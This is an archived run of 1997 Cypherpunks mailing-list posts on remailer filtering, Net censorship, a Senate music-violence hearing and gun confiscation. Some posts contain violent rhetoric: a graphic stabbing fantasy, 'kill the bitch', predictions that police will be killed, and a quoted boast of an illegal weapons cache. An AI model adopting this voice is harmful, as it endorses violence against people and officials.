then you end up with a sick, twisted entity like the TruthMailer.
<sounds of CypherPunks screaming in anguish, as they slash their wrists>

> >  If the "camel" can get his nose under the tent and convince operators
> > to start filtering on the *CONTENT* of the Subject: line or body of
> > usenet posts, the anti-privacy nuts will have scored a major victory.
> > In fact, from reading Jeff Burchell's posts, it looks like Gary and his
> > DataBasux-ers had initially convinced Jeff to do exactly that.  But, in
> > a symbolic victory for freedom of speech, he removed those filters for a
> > week before he finally shut down Huge Cajones altogether.

  "If I make the Subject: line, "Make $$$ Fast," then the person who I
am anonymously ratting out for murder/molestation is not likely to read
it, if there is a copy automatically saved somewhere by the software."
  My point being that a remailer operator has no way of knowing what 
the ultimate effect of *any* filtering/blocking will be. (Unless you
read all of the email, like I do as the 'Bad Remailer' operator.)

> Cracker does have a spam-bait mangler which is somewhat simpler than the
> scheme Jeff used. In a nutshell, if there are an inordinately large number
> of addresses (compared to other text), the addresses are mangled, i.e.,
> president@whitehouse.gov becomes president <AT> whitehouse <DOT> gov.
> Still human-readable but useless for address harvesters. No posts get
> dropped or filtered out under this scheme, and no keywords or particular
> addresses are looked for.

PLATITUDE WARNING!!!
"When you're up to your ass in alligators, it's hard to remember that
 your original objective was to drain the swamp."

  It has been my experience that the 'Fear of Spam/Abuse' is beginning
to be the controlling factor in the usefulness, or lack thereof, of an
increasing number of remailers.
  In my opinion, any form of blocking/filtering which is not described
in the remailer-help documentation defeats much of the purpose of
providing remailer service in the first place. In particular, the very
fact that people become confused as to what is, or is not, 'acceptable'
use of a remailer tends to lead to a decline in their use. Increasingly,
as well, the knowledge that vaguely described filtering/blocking is 
being done by the remailer leads one to become confused as to what is
an unacceptable 'method' of using a remailer.

  I cannot help but feel that there has to be some simple ways of
addressing the spam/abuse issue without making the remailers a hit and
miss proposition for the average computer user.
  e.g. - A stated policy of allowing only 'X' number of emails from
the same address/ISP per day--UCE spammers *could* work around this,
but they make money by speed and volume, not by farting around with
this-and-that.
  This would immediately eliminate the spammers who are only capable
of hitting the return key on their spamming software, leaving the
operator free to take specific actions against anyone who does take
the time and trouble to circumvent the policy. And someone who has
gone to all of that trouble, only to get an email saying, "It didn't
work.", is likely to move on to greener pastures fast.

  What I am getting at is that all an operator really needs to do to
eliminate volume-abuse/spamming is to make it 'difficult' for those
spamming, not 'impossible.' Remember that the UCE spammers need to
send *millions* of emails to survive.
  When spam became a problem, I joined an anti-spam list and a UCE
spammers list. Serious spammers do the same.
  I think it is important to take the time to *notify* those who you
are filtering/blocking, even if it means searching their messages
for an email or snailmail contact point. Remember that one reason
these people send out the volume they do is that they *need* volume
to survive. If you don't notify them that their time and resources
are *wasted* by using your remailer, then they will have no reason
not to drop you as a route for their spam.
  I used to see people on the UCE/Spam list bragging about how they
were sending 10,000 emails a day through 'X', and 'Y' and 'Z', and
then see sysadmins/operators at 'X', 'Y' and 'Z' posting to the
anti-spam list, complaining, "I'm spending all of my time dumping
10,000 emails a day from some asshole."

  I believe that remailer operators should provide examples/details
of how any filtering/blocking policy is instituted, in order to
inform those who wish to use the remailer, and to discourage those
who want to abuse your policy.
  Subject and Content filtering are a never-ending merry-go-round
in which you block "Make $$$ Fast," <including my own spam-spoofs
"Make $$$ Fast at Home, Licking Your Own Dick!!!">, and the spammers
switch the Subject: line to "In Reply To Your Email." <you all know
the drill...>
  If an operator wishes to block whitehouse.gov from abuse by psychotic
child-molesting, terrorist CypherPunks (like yourselves), then it 
should be stated plainly in the remailer-help, for the youngster who
mistakenly thinks they have sent a plea for help to the whitehouse,
or another .gov site, or an AOL site, or whoever you use your policy
to block.

  I know the problems faced by those providing public remailer services,
and I appreciate the efforts/problems of the operators. I help people
running private remailers for specific groups needing privacy and
security, and it is still not a piece of cake.
  My problem is in many ways the opposite of many remailer operators.
I have people who sometimes need to send out several hundred emails
to people in a manner where they can reply anonymously, and have run
into filtering/blocking problems which seemed to change randomly,
at times. So I can sympathize with those who have few computer skills
and give up on remailers because "...they don't seem to work."
  My concern is that efforts toward total abuse-security will result
in the same convuluted dysfunctionality that results from those seeking
total privacy-security (without ever achieving that, either).

  Blocking/Filtering == Censorship!
  I recognize the need for each remailer operator to set their policy
according to their own individual situation, as it may be better to
allow threatening letters to legislators only one day a week than not
to provide the service at all, but I think it is important to make it
as clear as possible what the policy is, and how it is instituted, so
that remailers can be more than just toys for the computer literate.
  I also think that the remailer-help sent out should contain some
way for a potential user to bypass remailer policy, if necessary.
  e.g. - "I run a suicide support list and need to send/receive several
hundred emails sometimes. Please reply to me at the *real* address I
am providing, as to whether you can allow me to send that many per
day through your system."

  Blocking/Filtering == Censorship!
  Certainly there are those who seek to invent newer and better forms
of 'abuse' in an attempt to exercise disruptive power over the remailer
operator, but it has been my experience that those who engage in those
activities in order to fight perceived 'hypocrisy/censorship' are much
more likely to target those who do not clearly explain their policies
and the reasons behind them, as well as asking for feedback from those
who disagree, or think they have a better idea.
  There will always be those who attack remailers who have a policy of
'censoring' life-threatening letters to legislators, or 'censoring'
pictures of Mickey butt-fucking Minnie addressed to children's lists.
What is important to remember is that they have a right to their view,
and to push the envelope, or yank your string, or whatever.
  As a remailer operator, it is *your* role to enforce whatever policy
you personally believe in (or need to institute in order to survive
as a remailer). It is also your burden to bear, to figure out how to
do so without negating the goals that have inspired you to offer the
service, in the first place.

  Personally, I think that remailers are one of the most important
remaining providers of tools supporting freedom of speech/communication
on the InterNet. I and many others appreciate the service much more than
is apparent from the ratio of thank you's to fuck you's that you
receive,
so you should all give yourselves a couple million pats on the back.
(Except for those greedy assholes at Cracker...and the Commies who run
 Replay...and the Mountie Jackboots running Jam...and the Godless
 anarchists at bureau42...and all those operators sucking John Gilmore's
 cock..and......






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 07:22:22 +0800
To: cypherpunks@toad.com
Subject: Washington Post on dangers of self-censorship for the Net
Message-ID: <v03007804b08e94374f6b@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



[The Washington Post has it right. This is what many civil libertarians
have been warning about for months: the industry and some advocacy groups
(who should know better -- http://www.netparents.org/summit_part.html) are
falling over themelves in a rush to label, sort, and filter. They hope to
stave off a CDA II. But their frantic scurrying is "voluntary" only in the
sense that "voluntary" is newspeak for the threat of government censorship.
--Declan]

*****************

The Washington Post
November 10, 1997
EDITORIAL; Pg. A20
'Self-Regulation' and the Net

   CLOSE WATCHERSs of the long-running TV ratings fight could read it as a
series of tussles over exactly how far the government can go in pushing the
proprietors of an expressive medium -- such as TV -- to curb that
expression through "voluntary" action. When do carrot-and-stick become just
stick? That story isn't over yet: Congress, though antsy, has so far
managed to stay on the safe side of the line that separates pressure from
outright censorship, and the different responses of different networks is
ironic proof that the policy isn't completely coercive. But those who want
to see yet more variations on the theme can watch the whole pattern play
out again in White House efforts to encourage self-regulation on the
Internet.

   The administration, after coming to grief over its dogged support for
the unconstitutional Communications Decency Act, now takes the position
that it's up to software providers, parents and citizen groups to make the
Internet safe for children, though the government has a beefed-up role to
play in enforcing existing laws in cyberspace, for instance, those against
child pornography, stalking or harassment. As an accompaniment, though, it
is putting considerable public pressure on Internet players to develop a
system of ratings and "taggings" for sites that would allow parents to sort
Internet access by a few broadly agreed-upon categories.

   In a July announcement of steps taken by several large software
companies to include "family-friendly" sorting features in their browsers,
the president emphasized the importance of law enforcement and parental
involvement alike in making sure "we do not allow pornographers and
pedophiles to exploit a wonderful medium to abuse our children." The vice
president, praising the various filters on the market, called them "safety
belts for children traveling the Information Superhighway" -- though surely
he's the only person who still calls it that. Last week, though, Ira
Magaziner, the administration point-person on Net issues, took a different
tone in a speech to Internet advertisers. The "tremendous economic
benefits" of the Net won't work, he said, "if we don't get efficient
industry self-regulation on issues like privacy and content. . . . If you
fail, we will have to go the legislative route. That gets caught up in the
political process and will be less rational and efficient."

   Well, yes -- and also less legal. Don't get us wrong: Self-restraint, in
some of these cases, is a pretty good place for the providers of what's now
called "content" to end up. But the line between urging self-restraint and
threatening government censorship is a thin one. The White House, no less
than Congress, needs to watch its step.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 07:33:31 +0800
To: cypherpunks@toad.com
Subject: "Lynch mob mentality" at Senate violent music hearing
Message-ID: <v03007807b08e992878f7@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain




***************

[Forwarded with permission. --Declan]

Date: Mon, 10 Nov 1997 11:53:02 -0500
From: Nina Crowley <crowleyn@ultranet.com>
Subject: Senate hearing summary

Hi,
This is really long but I think everyone should get a sense of the lynch
mob mentality in last weeks Senate subcommittee hearing.

		Senate Subcommittee Hearing

Senator Sam Brownback's subcommittee hearing on the possible effect of
music violence on society was a major disaster for music and freedom of
expression.

The hearing, held on Nov.6, for 2 hours, had a very restricted list of
speakers.  For the two weeks previous to the hearing I and many others
applied to testify and were denied.  Brownback's staff member in charge of
overseeing the panels was Cherie Harder.  (Ms. Harder appeared in the Oct.
19 MTV special "Fight for the Right" representing  Empower America.)  Ms.
Harder was doggedly dedicated to preserving the short and biased list of
speakers, refusing to consider additional speakers or an extended hearing
time allotment.

Senator Brownback (who on Wednesday seemed open to exploring the issue)
took a totally different tack in his opening statement.  He outlined
society's current ills including a jump in teen suicide, pregnancy, crime,
and drug use.  He talked of a "sense that we have lost ground" (in the war
against teens perhaps? nc) and that society has grown "coarser, meaner, and
more alienated". He reports that "there has been a marked increase in
explicit violence and misogyny in popular music".  (Sen. Brownback offered
no reference to statistics which support any of these statements. His
stated belief that "research, debate and discussion" were needed was
certainly not carried out in this biased and, it seemed at times, rehearsed
condemnation of popular music. nc)  He said "The most appropriate place to
begin that inquiry is with the music itself."  (It is astounding that he
could make this statement after refusing requests from several major
recording artists over the previous two weeks! nc) He cited the songs "Mo
Thugs" or "Slap a Ho" by Dove Shack and shock rockers Marilyn Manson and
Cannibal Corpse as examples of problem songs and artists.  (These are the
same songs and artists that were attacked by C. Delores Tucker, Wm.
Bennett, Sen Lieberman, and Sen. Nunn in May of 1996. Can you cite a rise
in violence in music if you don't take the time to listen to new artists?
nc) Sen. Brownback went on to quote a Carnegie Foundation study (these are
the same people speaker Dr. Stanley Roberts wrote for in 1990) which shows
teens spending less time with their parents and more time listening to
music.  He ended with saying that "it stands to reason that prolonged
exposure to such hate-filled lyrics . . . could have an effect on one's
attitudes, assumptions, . . . decisions, and behavior.  Understanding the
nature and extent of the influence of music violence may well be the first
step . . . for ensuring a more civil society."

Senator Joseph Lieberman was the first to testify. His testimony began here
and continued from the dais. At the conclusion of his testimony he took his
seat next to Senator Brownback on the subcommittee and preceded every
question to a panelist with another 3 or 4 minutes further outlining his
beliefs.  He effectively manipulated the situation to provide himself with
2 hours worth of pontificating and captive media attention.

He spoke of our "broken culture", our "surreal, Alice-in-Wonderland"
culture in which kids our better armed than police, we celebrate brazen
luminaries like Dennis Rodman, and "don't seem to blink when prominent
corporate citizens sell music to our children that celebrates violence".
He cited tv shows like Fox's "When Animals Attack" and video games like
"Postal", and advertisers like Calvin Klein as perverse and degrading.  (He
also mentioned the songs Brownback did but spelled Ho wrong.nc) He wants to
take a close look at gangsta rap, stating that rappers celebrate murder and
mayhem on their cds then live it on the streets which led to Tupac's and
B.I.G.'s deaths. He also outlined FBI investigations of Death Row as
evidence of the kind of people who produce this music.  He, as did every
one of the speakers said I'm not "talking about censorship". He wants
corporate responsibility on the part of recording companies, particularly
Seagrams and Sony, adoption of basic standards for music, Seagrams to
"dump" Marilyn Manson, and said "In the meantime, I hope the RIAA will
consider improving its one-size-fits-all labeling system".
I urge you to go to Lieberman's website at:
http://www.senate.gov/member/ct/lieberman/releases/r110697c.html to read
his statement in its entirety.

The next speaker was Mr. Raymond Kuntz of Burlington, ND.  He tearfully
related the story of his son's suicide.  When his wife went to wake their
son for school they found him dead of a gunshot wound, still wearing his
headphones with Marilyn Manson's Anti-Christ Superstar cd still in the
player.  The boy's favorite song was "The Reflecting God", the lyrics to
which were included in Mr. Kuntz packet. He also included,(and entered into
the record) an interview with Marilyn  from the June 96 issue of High
Times. Mr. Kuntz, in his statement called MM a "drug fiend" who publicly
uses drugs and, who takes LSD and then goes to Disney World. He reported
that MM, during his shows has exposed his genitalia, sodomized himself with
a stick which he then threw into the crowd, and asks fans to spit on him.

(Keep in mind here that after each testimony, Sen. Lieberman would repeat
and expound on the most "heinous" anti-music facts in each presentation.
After this one he shook his head and said something like ~imagine asking
people to spit on you in this time of Aids~. nc)

Dr. Frank Palumbo, of the American Academy of Peditarics, is a practicing
pediatrician from Washington DC. He referred to the AAP Committee on
Communications policy statements of December 1989 and 1995 as the official
statements of the Academy.
(new paragraph in his statement - does this mean that what follows are his
thoughts, not the thoughts of the Academy - it's not clear. nc)
He acknowledged the importance of music in a teen's identity. He outlined
the increase in violence, drugs, and sex in rock music over the past four
decades citing heavy metal and rap as being of greatest concern. He quoted
lyrics from Nine Inch Nails "Big Man with a Gun" and some MM lyrics as
examples.  He reports that "To date, no studies have documented a
cause-and-effect relationship between sexually explicit or violent lyrics
and adverse behavioral effects. But we can all acknowledge the overall
effect music has on people." (!?) He stated that music videos may have a
significant behavioral impact by desensitizing violence and reported that
music videos by Guns-N-Roses and Beastie Boys videos each had 36 violent
episodes in performing just one song.
(And, back to that war against teens, nc) he referred to a report entitled
"Kids These Days: What Americans Really Think About the Next Generation"
which decried sex and violence but reported that "only half of those
surveyed (49%) think pressuring the entertainment industry . . . will be a
very effective way to help kids" and that "perhaps people doubt that the
industry will be responsive to public pressure". Dr. Palumbo ended his
testimony with a list of recommendations one of which was for the "music
industry to develop and apply a system of specific content labeling
regarding violence, sex, drugs, or offensive lyrics,".

Hilary Rosen, President of the RIAA was the next to testify. Before
beginning she entered into the record Mass. M.I.C.'s anti-censorship
petition directed at Sen. Lieberman among others, containing 7836 sigs. by
young people across the country.  She also mentioned presenting introducing
statements by musicians although I never saw evidence of them.

In spite of extensive research in preparation for this hearing Hilary was
astoundingly ill prepared.  The message by the RIAA in the days preceding
the hearing was that pro-music pro-speech forces should try not to 'upset'
the Senators.  In spite of obvious anti-music sentiments expressed by
committee members in meetings previous to the hearing, the RIAA
underestimated the seriousness of the attack and was not prepared to push
back.  Hilary was asked for sales figures for MM's cd and others and "had
no idea", when asked for demographic information about purchasers of this
and other cds she also had "no idea".  Sen. Brownback reiterated those
questions several times and was obviously angry that she either didn't know
or was hiding something.  Hilary's statement began with references to Elvis
and teen suicide references in "Romeo and Juliet" (Brownback said he felt
it  was insulting to even compare MM to Shakespeare.nc)

Hilary expressed the industry's concern and gave examples of musicians
working to combat teen violence, sex, drug use etc.  She cited Heavy D, Ice
Cube, and Queen Latifah.  (However, RIAA, chose not to facilitate the
participation of a prominent rap artist in presenting his concerns to the
Senators.  Even though they cite his contributions among these others in
their research materials.nc)  Hilary went on to describe the Musician's
Assistance Program and "our"(?) Rock The Vote campaign.  She said that "by
no means" are our "artists perfect" and reported that there were scenes
from Chain Saw Massacre or NYPD Blue that she would not let a 10 yr. old
see.  She then reported on the "parental advisory sticker" program and said
that "We support efforts to have retailers restrict sales of albums to
consumers under the age of 17."!!!!

(~This is exactly the issue that got me into the fight to preserve free
expression in the first place in 1995.  At that time the RIAA was actively
fighting cities and states that tried to enforce this kind of censorship.
RIAA's attitudes seem to have changed dramatically over these two years.
You have to ask yourself how damaging their attitudes toward preserving
free expression could be in another 2 years! nc~)

Hilary reported that in a record store with 110,000 titles, less than 1/2 of
one percent of a store's total inventory will carry a parental advisory
logo. (and more than 3/4s of of those titles are by black artists - Hilary
didn't say that, I did nc).  (Does that mean that mean that stickered
product is not meaningful or is expendable? nc)
She reported that record company execs constantly make choices to not put
out songs which don't meet the test of artistic credibility.

(Brownback questioned her on this issue repeatedly.  He managed not to say
'you think MM has artistic credibility' but it was clearly what he was
getting at.)

She encouraged parents to read the lyrics to songs their kids brought home.
(Brownback mentioned at one point that he wished lyrics could be printed in
the paper!) Hilary also stressed that if a parent disapproves of something
their kids bought the record stores would take it back.

Hilary said "As long as there is an audience demanding to listen, there
will be people willing to produce artists far outside the mainstream." !
(reasons for a war against teens,nc)

During questioning after her prepared testimony Hilary stated music stores
'will not sell stickered product to those under 17', (a fact which is
totally untrue and an amazingly stupid and dangerous statement on her
part.nc)  By the end of the hearing C. Delores Tucker produced a kid who
testified as to how easy it was for kids under 17 to buy stickered product,
that kids can find out 'on the street' where they can buy - (now Hilary has
managed to make stickered product look like an illegal narcotic.  She's
also practically told legislators to push for mandatory labeling and
restrictions! nc)

(Hilary Rosen was clearly not concerned with freedom of expression or in
protecting music from the attacks of these Senators.  We would have fared
better if she had not spoken at all.nc)

The final two panelists were C. Delores Tucker and Dr. Donald F. Roberts of
Stanford University.  Tucker showed up with her blown up photos of Marilyn
Manson and had the same inflammatory statements to make against rap and
rock.  Her testimony was totally unremarkable and there was nothing new
(for that reason and because my fingers are about to fall off I'll not go
into details. I will forward a copy of her testimony to anyone who would
like one.)

Unfortunately I did not get a copy of Dr. Roberts testimony.  It was brief
and significantly similar to Dr. Palumbo's in terms of statements about
music's effect on young people. Of note is the fact that Senator Lieberman
welcomed Dr. Roberts by saying that he was glad to see him and that they
had worked together before on these 'important issues'. (enough said,nc).

As the hearing was about to end, Ms. Tucker begged that the young boy she'd
brought along "all this way" have a chance to speak.  Brownback's initial
response was that he couldn't allow it because so many others had asked to
speak but were refused.  Tucker begged a bit more and Brownback consented.
The boy testified as to how easy it was to buy "stickered" cds if you were
under 17 (which Brownback made sure he repeated a few times) and then the
young man described the satanic fans who had invaded his neighborhood
before an MM concert "doing violent stuff" like "smashing windshields."

At this point Michael Eric Dyson asked from his seat, if in the interest of
fairness, he be allowed to speak also.  Brownback refused him. (Dyson had
repeatedly sought an opportunity to appear at the hearing  and Jesse
Jackson had written to Brownback on his behalf asking that Dyson be heard,
all to no avail).

The hearing adjourned to a press conference in the hall. Speakers there
were Dyson, myself, and Bill Adler.  Mr. Dyson spoke eloquently on the
hearings, the bias in the panels, these repeated attacks on rap, and the
"mean spirited" tactic of Ms. Tucker among other things.  I spoke for a
couple of minutes after which Mr. Tucker pushed his way through the crowd
of reporters rushing Dyson and saying he was furious at how Dyson had
described his wife and that he would "die" protecting her reputation.
Several people stepped in to pull Mr. Tucker back while Michael Dyson
calmly stood by his previous statements.  As Mr. Tucker was pulled away he
pointed at Dyson saying that "the next time we meet you'd better bring an
extra pair of glasses, 'cause you're going to need them."  All of this was
caught on film.  Security then ended the press conference.

That's pretty much what took place.  A real disaster for free speech and
for music.
Nina




Fight Censorship - Listen to the Banned!
             Mass. M.I.C.
http://www.ultranet.com/~crowleyn/mmic.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 12 Nov 1997 18:49:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Bell vs. Woodward--justice?
In-Reply-To: <v03102800b08d18c99cbf@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.971111182249.735A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Apparently shaking a baby to death is a lesser crime than opposing
> government fascism and having a continuing interest in chemistry.

Apparently so, I must say in this particular case I see a cause for an 
aquittal based on reasonable doubt, but I`m not a juror so I didn`t see 
all the evidence so my opinion is not really valid. The general principle 
concerning sentencing length still holds. I don`t know the spin in the US 
media on the Woodward story, I understand it was sympathetic to the 
defendant, the UK press has basically done what is usual whenever a high 
profile case is tried in a foreign court (eg. Deborah Parry and Lucille 
McLaughlin, the 2 nurses tried in saudi arabia for the murder of Yvonne 
Guildford, the UK media spin was that the saudi court was a crude inhuman 
system whereby public beheadings were handed out at the drop of a hat), 
and most UK papers were ranting about the "inhumanity" of giving a 19 
year old a life sentence for murder, hell, if she did it, kill the bitch.

> The au pair Louise Woodward will serve less time in jail than Jim Bell
> will. While Bell languishes in a Washington state jail, awaiting (for
> almost 7 months!!) his sentence, the convicted babykiller is now free.

Ah yes, but don`t forget Tim that in Amerika (The land of the free, 
remember?) the life of a child is of less value than the security of the 
state.

It makes a mockery of the judicial system that a judge can overturn a 
verdict like Zobel has done in the Woodward case, sure, allow her to 
appeal, but giving an appointed official the power to decide a verdict 
makes me sick, and a sentence of 279 days for manslaughter is a joke.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Nov 1997 07:46:44 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <1.5.4.32.19971111233358.00a03ac8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dumb of me to get in the middle of this, but the bloodlust's
up:

Tim's statements are gutsy and right: there's no gain
in self-censoring, shading one's anger to appease
the goons of whatever firepower. (Bob, go to end.)

Most massive firepower can't focus on or hit exclusively
small targets, that's what's a lie about "surgical" strikes. 
Waste the countryside, yes, hit one rabbit and not the
beloved dog and fellow hunter, little chance. What it
takes is sharpshooting: a one shot, one target, one
pig, one sticker.

True, Horushi's snipe worked, it nailed an innocent, though
a couple of others died to set him up for his own nailing.

True, Waco worked, it charred a crowd of innocents, though a
few others got plugged setting up the roast, and the 2nd roast.

True, firebombing works, as does mass weaponing --nukes, 
chemicals and germs -- but indiscriminately, by terrorism
of the masses, at the price of also terrifying the citizenry 
paying for the megadeath heritage.

All standoff firepower is limited against the individual by 
imprecision of the killing machines and cowardice of the
operators -- artillery, planes, ships, satellites, take your
pick. They savage territory to save the operator's ass,
who, as anyone knows who been around these candyass
strutters, aint got what it takes to cut the guy's throat
who's stabbing your eye.

What's my point? Well, for lack of a better word, it's personal
courage, going nuts when the time's right, the guts to not shut 
the fuck up when you're told to by those who're a whole lot 
bigger, who've got more armaments and thinks they're smarter 
and more ruthless and meaner and have the troops, rank and 
medals to back it up. Just remember that most of those strengths 
are for getting somebody else or a machine to do what is too 
fucking terrifying to do yourself directly.

Do this when the monster accosts: pull your forelock, say sorry 
sir, then upstab the fucker's groin, as he doubles, hack the cord, 
he'll go down quivering, then cut out his liver, kick up his green 
face, squat close, show him the blob, take a bite, chew, savor, 
swallow, put lip to dying ear, whisper, "tasty."

Go home, get a beer, stare the tube, sharpen your tool. Or as
maddog Tim sez, lock and load.

But look, I'm with Bob, too, my tool's philosophy gone berzerk,
trash words, wags, gags, alliterations, mouth shooting. My steel 
weapons are locked from burglars who scare the shit out of me just
by looking like ordinarily ugly wall streeters, that is, like my maddog 
neighbors eyeing me for junk IPO sales.

Sure glad my war's long over, happily getting dimmer, easier to forget
the godawful. Hey, it's veteran's day, anybody want to croak and limp 
to glories past?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 10:48:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Australian sheep [WAS RE: Bell vs. Woodward--justice?]
In-Reply-To: <3f22f0f90f0b1f30a42aa9f7032de557@anon.efga.org>
Message-ID: <v03102813b08eb3e33298@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(An interesting essay from an Australian was sent to me via an anonymous
remailer...at least he or she claimed to be Australian. As I can only
respond to him or her via the list, here's my reply.)

At 6:42 PM -0700 11/11/97, Anonymous wrote:
>>>>>> "T" == Tim May <tcmay@got.net>

>  T> As for Australia, your countrymen acted like sheep in giving up
>  T> their guns.  If they try that kind of shit here in this country,
>  T> a *lot* of cops are going to get killed.
>
>  T> (Not necessarily by me, though I'll defend my property and my
>  T> constitutional rights as best I can. But the militia and patriot
>  T> and anti-New World Order movements are preparing for war.)
>
>As an Australian I couldn't agree more with your conclusion Tim.
>Australians showed a shameful and cowardly disregard for individual
>liberty and freedom on the gun issue and a time will come I'm sure
...

And let me assure you that I am not insulting all Australians. I call them
as I see them, whether it's Americans (the most common target of my
analyses), Germans, French, Swedes, etc.
...
>sources. We have in doing this showed just how sheep like we are for
>instead of taking some responsibility for our own future defence needs
>we have placed ourselves at the feet of the USA for our continued
>freedom to pass even more restrictive laws on ourselves. We will all
>rue the day America loses interest in us and no doubt some of our
>ernest friends to our north will at that point suddenly show a very
>great interest in this land. Anyone who seriously believes otherwise

"Pax Americana" is the name for this trend. America sits astride the world,
as the only remaining military superpower, and an economic superpower as
well.

I say this not to be jingoistic, but as an expression of reality. The
former Soviet Union is in disarray, and its submarines and ICBMs are
apparently rusting away and will soon be inoperable. This is, in a sense,
good news. The United States almost bankrupted itself in the 40-year Cold
War. And now, instead of turning swords into plowshares, cutting taxes, and
getting on with life, American sends its aircraft carriers to far-off
places, acts as the world's policeman, draws lines in the sand and dares
Saddam to cross them, threatens trade wars, and browbeats other nations.

(I'd gladly settle for a broken up USA, with five or six economic/political
regions, each too small to run around the world butting into the affairs of
distant nations. The coming chaos may succeed in doing this.)

>is a fool.  Personally I have laid down a weapons cache that would, at
>the hands of our media, make me look like an invading army myself.
>Some of my friends have done likewise. I believe it is my right,
>indeed my duty to provide for my own defence. In doing so I am now run
>the risk of 20 years imprisonment. Of course since I run this risk
>(and self defence is no longer a justification for holding a weapon in
>this country) I have not limited myself to semi-auto weapons as they
>are now as illegal as automatic weapons, grenades, mines etc. In for a
>penny in for a pound.

One of the first things the invading U.S. forces did in Somalia was to
disarm the civilian population. (I am not making this up.) The farmers
protested that they would be left defenseless against the nomadic guerillas
and looters. Ah, but the benevolent U.S. decided, via consultations with
the U.N., that the key to peace lay in disarming those they could disarm.

As the U.S. found, those they were unable to disarm kicked their asses all
around Mogadishu. Dragging a chopper pilot around town was just the most
visible sign.

So the U.S. retreated. Is this portrayed as a defeat? Nope. The warmongers
talk about how America has "bounced back" from its loss in Viet Nam and has
not lost a war since. More reason to invade other nations.

Anyway, disarming the civilians is now U.S. policy. Not too surpising that
Clinton looks with favor on the recent disarmings in the U.K. and Australia
(and with newer restrictions in Canada, too).


>regardless. It is our right and duty, as free men and women to be able
>to defend ourselves and god help anyone who comes to disarm us. The
>ban, if anything has forced true patriots to decide just which side of
>the line they stand on and fostered a more extremist attitude towards
>those who would stand aside while the people are murdered. We realise
>that constitutional protections such as enshrined in your great
>Constitution are won only with blood and not with the talk of the
>corrupt. Some of us are awaiting the coming tide with relish.
>
>Good luck and good hunting,

Amen. And Australia should not be completely surprised if the U.S. offers
to send "peacekeeping troops" to your country to help with the disarmament.

The conspiracy theorists who talk about the New World Order and U.N. "Blue
Helmets" roaming U.S. streets have it only half right: the other side of
the New World Order is having U.S. troops, possibly under U.N. flags
(barf), patrolling conquered, er, liberated territories.

I don't want to see my fellow countrymen die in foreign wars, but it
wouldn't break my heart to see some Aussie sharpshooters taking out foreign
invaders. Should this event happen.

(Many of us are fighting the New World Order, and I don't personally think
there will be Americans sent in large numbers to quell large populations.
America likes picking on countries much smaller than itself.)

Good luck.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 12 Nov 1997 10:24:13 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: "Lynch mob mentality" at Senate violent music hearing
In-Reply-To: <v03007807b08e992878f7@[168.161.105.216]>
Message-ID: <3468FF84.32D4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> [Forwarded with permission. --Declan]
 
> Date: Mon, 10 Nov 1997 11:53:02 -0500
> From: Nina Crowley <crowleyn@ultranet.com>
> Subject: Senate hearing summary
> 
>                 Senate Subcommittee Hearing
> 
> Senator Sam Brownback's subcommittee hearing on the possible effect of
> music violence on society was a major disaster for music and freedom of
> expression.
> 
> The hearing, held on Nov.6, for 2 hours, had a very restricted list of
> speakers.  For the two weeks previous to the hearing I and many others
> applied to testify and were denied.  Brownback's staff member in charge of
> overseeing the panels was Cherie Harder.  (Ms. Harder appeared in the Oct.
> 19 MTV special "Fight for the Right" representing  Empower America.)  Ms.
> Harder was doggedly dedicated to preserving the short and biased list of
> speakers, refusing to consider additional speakers or an extended hearing
> time allotment.

  This illustrates *exactly* why maintaining freedom from censorship
on the InterNet is vitally important to help preserve what is left of
democracy in America.
  No matter what stance you take on this or that issue, one of the chief
underlying issues of democracy is the opportunity to have your voice
heard, or be heard via a balanced mix of representative voices.

  The citizen's right to _participate_ in democracy is denied even when
those who oppose them have their voices stifled.
  The strong shout out and/or silence the weak in the Halls of Power 
in America, and what is reported to the citizens by the mainstream
media is a dilution of this already aldulterated product of our
power-mongering politicians.

  None of us is likely to hear a desciption or report on this meeting
that is as accurate or comprehensive as that provided by Nina Crowley,
via Declan McCullagh, in the media's thirty second sound-bytes.
  Even more in-depth portrayals of the proceedings by the media still
inevitably reflect what those in power have put in the public media 
display-case. Those in power use manipulation, secrecy, and 'National
Security' to keep the citizens from learning the proverbial 'rest of
the story' long enough for them to retire with their reputations 
and their fortunes intact.
  Last week came the 'news' that Richard Nixon was an active and
knowing participant in the Watergate crimes. _News_? Give me a
break.

  The reality is that the InterNet is a media which currently allows
us to listen to the voices that were stifled by the power-mongers,
if we choose to do so. As well, we can listen to another voice in
